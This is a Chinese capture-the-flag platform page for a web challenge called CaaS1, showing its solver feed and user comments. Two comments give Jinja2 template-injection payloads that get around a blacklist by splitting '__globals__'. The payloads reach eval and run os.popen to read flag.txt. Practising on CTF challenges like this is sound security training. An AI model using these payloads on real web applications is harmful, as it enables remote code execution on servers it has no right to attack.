CaaS1WEB 未解决
分数:
40
金币:
4
题目作者:
Aman
一 血:
Paradiso
一血奖励:
4金币
解 决:
183
提 示:
描 述:
CaaS1
其 他:
server.zip
评分(1)
解题动态
CyberX 攻破了该题 4天前
kingx3 攻破了该题 6天前
zmjjkk..... 攻破了该题 8天前
cxy..... 攻破了该题 8天前
一江明月送归舟 攻破了该题 9天前
CCC1112 攻破了该题 10天前
valecalida 攻破了该题 11天前
itsjimo 攻破了该题 16天前
qi1102 攻破了该题 20天前
KN11 攻破了该题 22天前
小懒 攻破了该题 23天前
世界你好 攻破了该题 25天前
能工智人 攻破了该题 27天前
小楼一夜听春雨 攻破了该题 28天前
fjakjasdhfa 攻破了该题 28天前
konghaoxintao 攻破了该题 29天前
mahiru 攻破了该题 1月前
kyen 攻破了该题 1月前
星宇Sec 攻破了该题 1月前
评论
李逍遥逛霍格沃茨 9月前
举报
又一个坑金币的垃圾题目 买了write up也不行 hackbar和BP全试了 不是黑名单就是500错误
李逍遥逛霍格沃茨 9月前
举报
又一个坑金币的垃圾题目 买了write up也不行 hackbar和BP全试了 不是黑名单就是500错误
124要留就要77 1年前
举报
name={{g.pop["__global""s__"].__builtins__.eval(request.form.team_name)}}&team_name=__import__("os").popen("cat flag.txt").read() 直接获取flag
baozongwi 1年前
举报
会不会出题大哥，这黑名单里面有[]为什么这样子还能过 name={{g.pop["__global""s__"].__builtins__.eval(request.args.x)}}&team_name=g 怎么回事
网络小钦 2年前
举报
看不懂啊
2552758573 2年前
举报
payload太长了，绕不过去
无法释怀的遗憾en 3年前
举报
这个题什么意思
无法释怀的遗憾en 2年前
举报
@cgxx 懂了 好玩这个题
cgxx 3年前
举报
模板注入